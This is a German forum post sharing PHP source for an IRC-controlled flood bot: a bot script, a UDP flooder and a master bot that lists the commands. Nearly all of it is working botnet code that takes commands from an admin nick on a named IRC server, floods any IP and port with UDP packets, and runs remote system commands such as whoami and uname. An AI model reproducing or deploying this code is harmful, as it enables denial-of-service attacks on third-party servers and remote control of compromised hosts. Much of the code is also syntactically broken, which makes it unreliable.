Mein aktuelles Projekt, ein irc-floodbot für server in php
ist eigentlich nur ein überungsprojekt und zum einsatz nicht besonders geeignet, weil das wohl jedem blinden server admin auffällt xD da ist ein perl bot viel bessern, aber ich hasse die syntx :-(((
hinzu kommt, dass ich teilweise schlampig gecodet habe, d.h. ziemlich verbuggt und der code ist manchmal auch nicht besonders schön zu lesen :-/

main.php und udp.php müssen beide im gleichen verzeichnis liegen und sind unbedingt nötig
masterbot.php kann auch von localhost aus gestartet werden, er floodet nicht, er informiert nur

main.php:
PHP-Code:
<?php
//coded by nexos icq: 437851
//----------------------------------CONFIG--------------------------------------//
//-----------------------------------START--------------------------------------//

$server "ircd.hopto.org";
$port 6667;
//$serverpasswd = "";  //not yet implented //if no pass: leave empty

$chan "yourchan";
$chanpass ""//if no pass: leave emtpy 

$botid rand(1000000,9999999); //shouldnt be edited
$nickprefix "nbot|";
$nick $nickprefix.$botid."\n";
$user "USER blabla owning.com XY :XY bot\n";

$cmdprefix "*";
$admin "nexos"//bot is only accepting cmds from admin

 

//-----------------------------------END----------------------------------------//
//----------------------------------CONFIG--------------------------------------//


//-----------------------------------MISC---------------------------------------//

  // Prevent PHP from stopping the script after 30 sec (if safe mode off)
set_time_limit(0);
  
//---------------------------------CONNECTION-----------------------------------//

while (true)
{
    
$socket fsockopen($server$port);

 while ( !
$socket )
 {
     
Sleep(30);
      
$socket fsockopen($server$port);
 }


  
$nick "NICK ".$nick;
  
fputs($socket$user);
  
fputs($socket$nick);

  
usleep(300);

  
fputs($socket,"JOIN $chan $chanpass\n");


  while(
true
  {

    while(
$data fgets($socket512)) 
      {

        echo 
nl2br($data);
        
flush();

        
$ex explode(' '$data);
        
        if(
$ex[0] == "PING")
          {
           
fputs($socket"PONG ".$ex[1]."\n");
          }

        
$command str_replace(array(chr(10), chr(13)), ''$ex[3]);
        
$sendernick explode('!'substr($datastrlen($$data)-2));            

        
      if ( 
$sendernick[0] == $admin )
        {
//---------------------------------FUNCTIONS------------------------------------//

   
switch ( $command ) { 
          
//------------------------------------UDP---------------------------------------//

          
case ":".$cmdprefix."udp":

            
$udpsocket fsockopen("udp://$ex[4]"$ex[5], $errno$errstr);
             
            if (!
$udpsocket
                {
                 
fputs($socket"PRIVMSG ".$chan." :couldn't connect\n");
                  
                     
fclose($udpsocket);        
                }
                
                else
                 {
               
fclose($udpsocket);

            
system("php udp.php ".$ex[4]." ".$ex[5]." ".$ex[6]);
                 }
                 
               break;

//-------------------------------------HTTP------------------------------------//

          
case ":".$cmdprefix."http"

               break;

//----------------------------------BENCHMARK--------------------------------------//

         
case ":".$cmdprefix."benchmark":

            
$time_startbench time(true);
            
$time_differencebench 0;

            
$secondsbench 3;

            
$udpsocketbench fsockopen("udp://google.com"80$errno$errstr);
             
            if (!
$udpsocketbench
                {
                 
fputs($socket"PRIVMSG ".$chan." :couldn't connect\n");
                }
             else
             {
             
$i 0;
             
                while ( 
$time_differencebench <= $secondsbench 
                  {
                   
$crap rand(10000,100000);
                   
fwrite($udpsocket$crap);
                        
$time_nowbench time(true);
                        
$time_differencebench $time_nowbench $time_startbench;
                   
$i++;
                  }
                  
                
$i round $i 3);

            
fputs($socket"PRIVMSG ".$chan." :benchmark result: $i pakets per second\n");
             }
             
            
fclose($udpsocket);
            
            break;
            
//--------------------------------UPTIME-----------------------------------------//

          
case ":".$cmdprefix."uptime":
           
            
fputs($socket"PRIVMSG ".$chan." :".system("uptime")."\n");
            
            break; 

//---------------------------------WHOAMI---------------------------------------//

          
case ":".$cmdprefix."whoami":
          
            
fputs($socket"PRIVMSG ".$chan." :".system("whoami")."\n");
          
            break;
//----------------------------------UNAME--------------------------------------//

         
case ":".$cmdprefix."uname":
         
            
fputs($socket"PRIVMSG ".$chan." :".system("uname -a")."\n");
            
            break;

//--------------------------------QUIT----------------------------------------//

         
case ":".$cmdprefix."quit":
           
             die();
           
            break;
            
//---------------------------------QUITID-------------------------------------//


         
case ":".$cmdprefix."quitid":
           
             if ( 
$ex[4] == $botid )
                          {die();}
           
            break;
           
//---------------------------------QUITID-------------------------------------//

         
case ":".$cmdprefix."quitbot":
        
                          die();
           
            break;
//---------------------------------------CMD------------------------------------//

         
case ":".$cmdprefix."cmd":
           
            
fputs($socket"PRIVMSG ".$chan." : not ready\n");
           
             break;
        
//------------------------------------------------------------------------------//
//------------------------------------------------------------------------------//

         
}
       }
     }
  
usleep(10);
  }
}
?>
udp.php
PHP-Code:
<?php
//coded by nexos icq: 437851
       
$arguments $_SERVER['argv'];
       
            
$time_start time(true);
            
$time_later;
            
$time_difference;

            
$target $arguments[1];
            
$port $arguments[2];
            
$seconds $arguments[3];

            
$udpsocket fsockopen("udp://$target"$port$errno$errstr);
             
            if (!
$udpsocket
                {
                 die();
                }
             else
             {
                while ( 
$time_difference <= $seconds 
                  {
                   
$crap rand(10000,100000).rand(10000,100000).rand(10000,100000).rand(10000,100000).rand(10000,100000).rand(10000,100000);
                   
fwrite($udpsocket$crap);
                        
$time_now time(true);
                        
$time_difference $time_now $time_start;
                  }
             }
            
fclose($udpsocket);
?>
masterbot.php:

PHP-Code:
<?php
//coded by nexos icq: 437851
//----------------------------------CONFIG--------------------------------------//
//-----------------------------------START--------------------------------------//
//MASTERBOT

$server "ircd.hopto.org";
$port 6667;
//$serverpasswd = "";  //not yet implented //if no pass: leave empty

$chan "#yourchan";
$chanpass "l"//if no pass: leave emtpy 

$botid rand(100,999); //shouldnt be edited
$nickprefix "nbot";
$nick $nickprefix."|master|".$botid."\n";
$user "USER blabla owning.com XY :XY bot\n";

$cmdprefix "*";
$admin "nexos"//bot is only accepting cmds from admin

 

//-----------------------------------END----------------------------------------//
//----------------------------------CONFIG--------------------------------------//


//-----------------------------------MISC---------------------------------------//

  // Prevent PHP from stopping the script after 30 sec (if safe mode off)
set_time_limit(0);
  
//---------------------------------CONNECTION-----------------------------------//

while (true)
{
    
$socket fsockopen($server$port);

 while ( !
$socket )
 {
     
Sleep(30);
      
$socket fsockopen($server$port);
 }


  
$nick "NICK ".$nick;
  
fputs($socket$user);
  
fputs($socket$nick);

  
usleep(300);

  
fputs($socket,"JOIN $chan $chanpass\n");


  while(
true
  {

    while(
$data fgets($socket512)) 
      {

        echo 
nl2br($data);
        
flush();

        
$ex explode(' '$data);
        
        if(
$ex[0] == "PING")
          {
           
fputs($socket"PONG ".$ex[1]."\n");
          }

        
$command str_replace(array(chr(10), chr(13)), ''$ex[3]);
        
$sendernick explode('!'substr($datastrlen($$data)-2));
        
        
      if ( 
$sendernick[0] == $admin )
        {
//---------------------------------FUNCTIONS------------------------------------//

   
switch ( $command ) { 
          
//------------------------------------UDP---------------------------------------//

          
case ":".$cmdprefix."udp":

           
fputs($socket"PRIVMSG ".$chan." :'starting udp-flood\n"); 
              
            
$time_start time(true);
            
$time_later;
            
$time_difference;
            
            
ping($ex[6],$socket,$time_start,$time_difference);
            
           
fputs($socket"PRIVMSG ".$chan." :'udp-flood finished\n"); 

               break;

//-------------------------------------HTTP------------------------------------//

          
case ":".$cmdprefix."http"

           
fputs($socket"PRIVMSG ".$chan." :'starting http-flood\n"); 
              
            
$time_start time(true);
            
$time_later;
            
$time_difference;
            
            
ping($ex[5],$socket,$time_start,$time_difference);
            
           
fputs($socket"PRIVMSG ".$chan." :'http-flood finished\n"); 
              
               break;

//----------------------------------BENCHMARK--------------------------------------//

         
case ":".$cmdprefix."benchmark":

                 
fputs($socket"PRIVMSG ".$chan." :'benchmark started\n");
                 
Sleep(3);
                 
fputs($socket"PRIVMSG ".$chan." :'benchmark finished\n");
            
            break;

//--------------------------------QUIT----------------------------------------//

         
case ":".$cmdprefix."quit":
           
             die();
           
            break;
            
//-------------------------------QUITMASTER-----------------------------------//


         
case ":".$cmdprefix."quitmaster":
           
           die();
           
            break;
            
//-------------------------------QUITID---------------------------------------//


         
case ":".$cmdprefix."quitid":
           
             if ( 
$ex[4] == $botid )
                          {die();}
           
            break;
//------------------------------------INFO------------------------------------//

         
case ":".$cmdprefix."info":
           
            
fputs($socket"PRIVMSG ".$chan." :Nbot by Nexos\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." :-------------------------\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." :=========Commands========\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." :-----------flood---------\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *http [url] [time]  -traffic flood, time in seconds\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *udp [ip/host] [port] [time]  -send udp pakets, time in seconds\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." :------------misc---------\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *quit  -all bots quit\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *quitmaster  -master-bots quit\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *quitbot  -all normal bots quit\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *quitid [id]  -only [id] quits\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *cmd [command]  -execute cmd\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *uptime  -show server uptime\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *whoami  -show current user\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *uname  -server info\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *benchmark  -do a benchmark\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." : *info  -show this\n");
               
usleep(800);
            
fputs($socket"PRIVMSG ".$chan." :-------------------------\n");
               
usleep(500);
               
              break;
        
//------------------------------------------------------------------------------//
//------------------------------------------------------------------------------//

         
}
       }
     }
  
usleep(10);
  }
}


function 
ping($seconds,$socket,$time_start,$time_difference)
{
    
    while( 
$time_difference <= $seconds
      {
        
$data fgets($socket1);
        
        echo 
nl2br($data);
        
flush();

        
$ex explode(' '$data);
        
        if(
$ex[0] == "PING")
          {
           
fputs($socket"PONG ".$ex[1]."\n");
          }
       
$time_now time(true);
       
$time_difference $time_now $time_start;
      }
      
  return 
true;
}
?>